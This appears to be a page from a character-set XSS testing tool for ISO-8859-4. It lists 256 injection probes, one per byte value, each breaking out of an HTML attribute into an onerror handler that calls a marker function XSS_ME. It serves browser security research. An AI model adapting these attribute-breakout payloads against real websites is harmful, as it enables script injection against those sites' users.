Go back to the homepage
Go to the vulnerable charset list

These chars are vulnerable (and not necessarily in order):

Encoding type: ISO-8859-4

Switch encoding method:
XSS�ABCD" onerror='XSS_ME(0)'>0
XSSABCD" onerror='XSS_ME(1)'>1
XSSABCD" onerror='XSS_ME(2)'>2
XSSABCD" onerror='XSS_ME(3)'>3
XSSABCD" onerror='XSS_ME(4)'>4
XSSABCD" onerror='XSS_ME(5)'>5
XSSABCD" onerror='XSS_ME(6)'>6
XSSABCD" onerror='XSS_ME(7)'>7
XSSABCD" onerror='XSS_ME(8)'>8
XSS	ABCD" onerror='XSS_ME(9)'>9
XSS
ABCD" onerror='XSS_ME(10)'>10
XSSABCD" onerror='XSS_ME(11)'>11
XSSABCD" onerror='XSS_ME(12)'>12
XSS
ABCD" onerror='XSS_ME(13)'>13
XSSABCD" onerror='XSS_ME(14)'>14
XSSABCD" onerror='XSS_ME(15)'>15
XSSABCD" onerror='XSS_ME(16)'>16
XSSABCD" onerror='XSS_ME(17)'>17
XSSABCD" onerror='XSS_ME(18)'>18
XSSABCD" onerror='XSS_ME(19)'>19
XSSABCD" onerror='XSS_ME(20)'>20
XSSABCD" onerror='XSS_ME(21)'>21
XSSABCD" onerror='XSS_ME(22)'>22
XSSABCD" onerror='XSS_ME(23)'>23
XSSABCD" onerror='XSS_ME(24)'>24
XSSABCD" onerror='XSS_ME(25)'>25
XSSABCD" onerror='XSS_ME(26)'>26
XSSABCD" onerror='XSS_ME(27)'>27
XSSABCD" onerror='XSS_ME(28)'>28
XSSABCD" onerror='XSS_ME(29)'>29
XSSABCD" onerror='XSS_ME(30)'>30
XSSABCD" onerror='XSS_ME(31)'>31
XSS ABCD" onerror='XSS_ME(32)'>32
XSS!ABCD" onerror='XSS_ME(33)'>33
XSSABCD" onerror='XSS_ME(34)'>34
XSS#ABCD" onerror='XSS_ME(35)'>35
XSS$ABCD" onerror='XSS_ME(36)'>36
XSS%ABCD" onerror='XSS_ME(37)'>37
XSS&ABCD" onerror='XSS_ME(38)'>38
XSS'ABCD" onerror='XSS_ME(39)'>39
XSS(ABCD" onerror='XSS_ME(40)'>40
XSS)ABCD" onerror='XSS_ME(41)'>41
XSS*ABCD" onerror='XSS_ME(42)'>42
XSS+ABCD" onerror='XSS_ME(43)'>43
XSS,ABCD" onerror='XSS_ME(44)'>44
XSS-ABCD" onerror='XSS_ME(45)'>45
XSS.ABCD" onerror='XSS_ME(46)'>46
XSS/ABCD" onerror='XSS_ME(47)'>47
XSS0ABCD" onerror='XSS_ME(48)'>48
XSS1ABCD" onerror='XSS_ME(49)'>49
XSS2ABCD" onerror='XSS_ME(50)'>50
XSS3ABCD" onerror='XSS_ME(51)'>51
XSS4ABCD" onerror='XSS_ME(52)'>52
XSS5ABCD" onerror='XSS_ME(53)'>53
XSS6ABCD" onerror='XSS_ME(54)'>54
XSS7ABCD" onerror='XSS_ME(55)'>55
XSS8ABCD" onerror='XSS_ME(56)'>56
XSS9ABCD" onerror='XSS_ME(57)'>57
XSS:ABCD" onerror='XSS_ME(58)'>58
XSS;ABCD" onerror='XSS_ME(59)'>59
XSS<ABCD" onerror='XSS_ME(60)'>60
XSS=ABCD" onerror='XSS_ME(61)'>61
XSS>ABCD" onerror='XSS_ME(62)'>62
XSS?ABCD" onerror='XSS_ME(63)'>63
XSS@ABCD" onerror='XSS_ME(64)'>64
XSSAABCD" onerror='XSS_ME(65)'>65
XSSBABCD" onerror='XSS_ME(66)'>66
XSSCABCD" onerror='XSS_ME(67)'>67
XSSDABCD" onerror='XSS_ME(68)'>68
XSSEABCD" onerror='XSS_ME(69)'>69
XSSFABCD" onerror='XSS_ME(70)'>70
XSSGABCD" onerror='XSS_ME(71)'>71
XSSHABCD" onerror='XSS_ME(72)'>72
XSSIABCD" onerror='XSS_ME(73)'>73
XSSJABCD" onerror='XSS_ME(74)'>74
XSSKABCD" onerror='XSS_ME(75)'>75
XSSLABCD" onerror='XSS_ME(76)'>76
XSSMABCD" onerror='XSS_ME(77)'>77
XSSNABCD" onerror='XSS_ME(78)'>78
XSSOABCD" onerror='XSS_ME(79)'>79
XSSPABCD" onerror='XSS_ME(80)'>80
XSSQABCD" onerror='XSS_ME(81)'>81
XSSRABCD" onerror='XSS_ME(82)'>82
XSSSABCD" onerror='XSS_ME(83)'>83
XSSTABCD" onerror='XSS_ME(84)'>84
XSSUABCD" onerror='XSS_ME(85)'>85
XSSVABCD" onerror='XSS_ME(86)'>86
XSSWABCD" onerror='XSS_ME(87)'>87
XSSXABCD" onerror='XSS_ME(88)'>88
XSSYABCD" onerror='XSS_ME(89)'>89
XSSZABCD" onerror='XSS_ME(90)'>90
XSS[ABCD" onerror='XSS_ME(91)'>91
XSS\ABCD" onerror='XSS_ME(92)'>92
XSS]ABCD" onerror='XSS_ME(93)'>93
XSS^ABCD" onerror='XSS_ME(94)'>94
XSS_ABCD" onerror='XSS_ME(95)'>95
XSS`ABCD" onerror='XSS_ME(96)'>96
XSSaABCD" onerror='XSS_ME(97)'>97
XSSbABCD" onerror='XSS_ME(98)'>98
XSScABCD" onerror='XSS_ME(99)'>99
XSSdABCD" onerror='XSS_ME(100)'>100
XSSeABCD" onerror='XSS_ME(101)'>101
XSSfABCD" onerror='XSS_ME(102)'>102
XSSgABCD" onerror='XSS_ME(103)'>103
XSShABCD" onerror='XSS_ME(104)'>104
XSSiABCD" onerror='XSS_ME(105)'>105
XSSjABCD" onerror='XSS_ME(106)'>106
XSSkABCD" onerror='XSS_ME(107)'>107
XSSlABCD" onerror='XSS_ME(108)'>108
XSSmABCD" onerror='XSS_ME(109)'>109
XSSnABCD" onerror='XSS_ME(110)'>110
XSSoABCD" onerror='XSS_ME(111)'>111
XSSpABCD" onerror='XSS_ME(112)'>112
XSSqABCD" onerror='XSS_ME(113)'>113
XSSrABCD" onerror='XSS_ME(114)'>114
XSSsABCD" onerror='XSS_ME(115)'>115
XSStABCD" onerror='XSS_ME(116)'>116
XSSuABCD" onerror='XSS_ME(117)'>117
XSSvABCD" onerror='XSS_ME(118)'>118
XSSwABCD" onerror='XSS_ME(119)'>119
XSSxABCD" onerror='XSS_ME(120)'>120
XSSyABCD" onerror='XSS_ME(121)'>121
XSSzABCD" onerror='XSS_ME(122)'>122
XSS{ABCD" onerror='XSS_ME(123)'>123
XSS|ABCD" onerror='XSS_ME(124)'>124
XSS}ABCD" onerror='XSS_ME(125)'>125
XSS~ABCD" onerror='XSS_ME(126)'>126
XSSABCD" onerror='XSS_ME(127)'>127
XSS€ABCD" onerror='XSS_ME(128)'>128
XSSABCD" onerror='XSS_ME(129)'>129
XSS‚ABCD" onerror='XSS_ME(130)'>130
XSSƒABCD" onerror='XSS_ME(131)'>131
XSS„ABCD" onerror='XSS_ME(132)'>132
XSS…ABCD" onerror='XSS_ME(133)'>133
XSS†ABCD" onerror='XSS_ME(134)'>134
XSS‡ABCD" onerror='XSS_ME(135)'>135
XSSˆABCD" onerror='XSS_ME(136)'>136
XSS‰ABCD" onerror='XSS_ME(137)'>137
XSSŠABCD" onerror='XSS_ME(138)'>138
XSS‹ABCD" onerror='XSS_ME(139)'>139
XSSŒABCD" onerror='XSS_ME(140)'>140
XSSABCD" onerror='XSS_ME(141)'>141
XSSŽABCD" onerror='XSS_ME(142)'>142
XSSABCD" onerror='XSS_ME(143)'>143
XSSABCD" onerror='XSS_ME(144)'>144
XSS‘ABCD" onerror='XSS_ME(145)'>145
XSS’ABCD" onerror='XSS_ME(146)'>146
XSS“ABCD" onerror='XSS_ME(147)'>147
XSS”ABCD" onerror='XSS_ME(148)'>148
XSS•ABCD" onerror='XSS_ME(149)'>149
XSS–ABCD" onerror='XSS_ME(150)'>150
XSS—ABCD" onerror='XSS_ME(151)'>151
XSS˜ABCD" onerror='XSS_ME(152)'>152
XSS™ABCD" onerror='XSS_ME(153)'>153
XSSšABCD" onerror='XSS_ME(154)'>154
XSS›ABCD" onerror='XSS_ME(155)'>155
XSSœABCD" onerror='XSS_ME(156)'>156
XSSABCD" onerror='XSS_ME(157)'>157
XSSžABCD" onerror='XSS_ME(158)'>158
XSSŸABCD" onerror='XSS_ME(159)'>159
XSS ABCD" onerror='XSS_ME(160)'>160
XSS¡ABCD" onerror='XSS_ME(161)'>161
XSS¢ABCD" onerror='XSS_ME(162)'>162
XSS£ABCD" onerror='XSS_ME(163)'>163
XSS¤ABCD" onerror='XSS_ME(164)'>164
XSS¥ABCD" onerror='XSS_ME(165)'>165
XSS¦ABCD" onerror='XSS_ME(166)'>166
XSS§ABCD" onerror='XSS_ME(167)'>167
XSS¨ABCD" onerror='XSS_ME(168)'>168
XSS©ABCD" onerror='XSS_ME(169)'>169
XSSªABCD" onerror='XSS_ME(170)'>170
XSS«ABCD" onerror='XSS_ME(171)'>171
XSS¬ABCD" onerror='XSS_ME(172)'>172
XSS­ABCD" onerror='XSS_ME(173)'>173
XSS®ABCD" onerror='XSS_ME(174)'>174
XSS¯ABCD" onerror='XSS_ME(175)'>175
XSS°ABCD" onerror='XSS_ME(176)'>176
XSS±ABCD" onerror='XSS_ME(177)'>177
XSS²ABCD" onerror='XSS_ME(178)'>178
XSS³ABCD" onerror='XSS_ME(179)'>179
XSS´ABCD" onerror='XSS_ME(180)'>180
XSSµABCD" onerror='XSS_ME(181)'>181
XSS¶ABCD" onerror='XSS_ME(182)'>182
XSS·ABCD" onerror='XSS_ME(183)'>183
XSS¸ABCD" onerror='XSS_ME(184)'>184
XSS¹ABCD" onerror='XSS_ME(185)'>185
XSSºABCD" onerror='XSS_ME(186)'>186
XSS»ABCD" onerror='XSS_ME(187)'>187
XSS¼ABCD" onerror='XSS_ME(188)'>188
XSS½ABCD" onerror='XSS_ME(189)'>189
XSS¾ABCD" onerror='XSS_ME(190)'>190
XSS¿ABCD" onerror='XSS_ME(191)'>191
XSSÀABCD" onerror='XSS_ME(192)'>192
XSSÁABCD" onerror='XSS_ME(193)'>193
XSSÂABCD" onerror='XSS_ME(194)'>194
XSSÃABCD" onerror='XSS_ME(195)'>195
XSSÄABCD" onerror='XSS_ME(196)'>196
XSSÅABCD" onerror='XSS_ME(197)'>197
XSSÆABCD" onerror='XSS_ME(198)'>198
XSSÇABCD" onerror='XSS_ME(199)'>199
XSSÈABCD" onerror='XSS_ME(200)'>200
XSSÉABCD" onerror='XSS_ME(201)'>201
XSSÊABCD" onerror='XSS_ME(202)'>202
XSSËABCD" onerror='XSS_ME(203)'>203
XSSÌABCD" onerror='XSS_ME(204)'>204
XSSÍABCD" onerror='XSS_ME(205)'>205
XSSÎABCD" onerror='XSS_ME(206)'>206
XSSÏABCD" onerror='XSS_ME(207)'>207
XSSÐABCD" onerror='XSS_ME(208)'>208
XSSÑABCD" onerror='XSS_ME(209)'>209
XSSÒABCD" onerror='XSS_ME(210)'>210
XSSÓABCD" onerror='XSS_ME(211)'>211
XSSÔABCD" onerror='XSS_ME(212)'>212
XSSÕABCD" onerror='XSS_ME(213)'>213
XSSÖABCD" onerror='XSS_ME(214)'>214
XSS×ABCD" onerror='XSS_ME(215)'>215
XSSØABCD" onerror='XSS_ME(216)'>216
XSSÙABCD" onerror='XSS_ME(217)'>217
XSSÚABCD" onerror='XSS_ME(218)'>218
XSSÛABCD" onerror='XSS_ME(219)'>219
XSSÜABCD" onerror='XSS_ME(220)'>220
XSSÝABCD" onerror='XSS_ME(221)'>221
XSSÞABCD" onerror='XSS_ME(222)'>222
XSSßABCD" onerror='XSS_ME(223)'>223
XSSàABCD" onerror='XSS_ME(224)'>224
XSSáABCD" onerror='XSS_ME(225)'>225
XSSâABCD" onerror='XSS_ME(226)'>226
XSSãABCD" onerror='XSS_ME(227)'>227
XSSäABCD" onerror='XSS_ME(228)'>228
XSSåABCD" onerror='XSS_ME(229)'>229
XSSæABCD" onerror='XSS_ME(230)'>230
XSSçABCD" onerror='XSS_ME(231)'>231
XSSèABCD" onerror='XSS_ME(232)'>232
XSSéABCD" onerror='XSS_ME(233)'>233
XSSêABCD" onerror='XSS_ME(234)'>234
XSSëABCD" onerror='XSS_ME(235)'>235
XSSìABCD" onerror='XSS_ME(236)'>236
XSSíABCD" onerror='XSS_ME(237)'>237
XSSîABCD" onerror='XSS_ME(238)'>238
XSSïABCD" onerror='XSS_ME(239)'>239
XSSðABCD" onerror='XSS_ME(240)'>240
XSSñABCD" onerror='XSS_ME(241)'>241
XSSòABCD" onerror='XSS_ME(242)'>242
XSSóABCD" onerror='XSS_ME(243)'>243
XSSôABCD" onerror='XSS_ME(244)'>244
XSSõABCD" onerror='XSS_ME(245)'>245
XSSöABCD" onerror='XSS_ME(246)'>246
XSS÷ABCD" onerror='XSS_ME(247)'>247
XSSøABCD" onerror='XSS_ME(248)'>248
XSSùABCD" onerror='XSS_ME(249)'>249
XSSúABCD" onerror='XSS_ME(250)'>250
XSSûABCD" onerror='XSS_ME(251)'>251
XSSüABCD" onerror='XSS_ME(252)'>252
XSSýABCD" onerror='XSS_ME(253)'>253
XSSþABCD" onerror='XSS_ME(254)'>254
XSSÿABCD" onerror='XSS_ME(255)'>255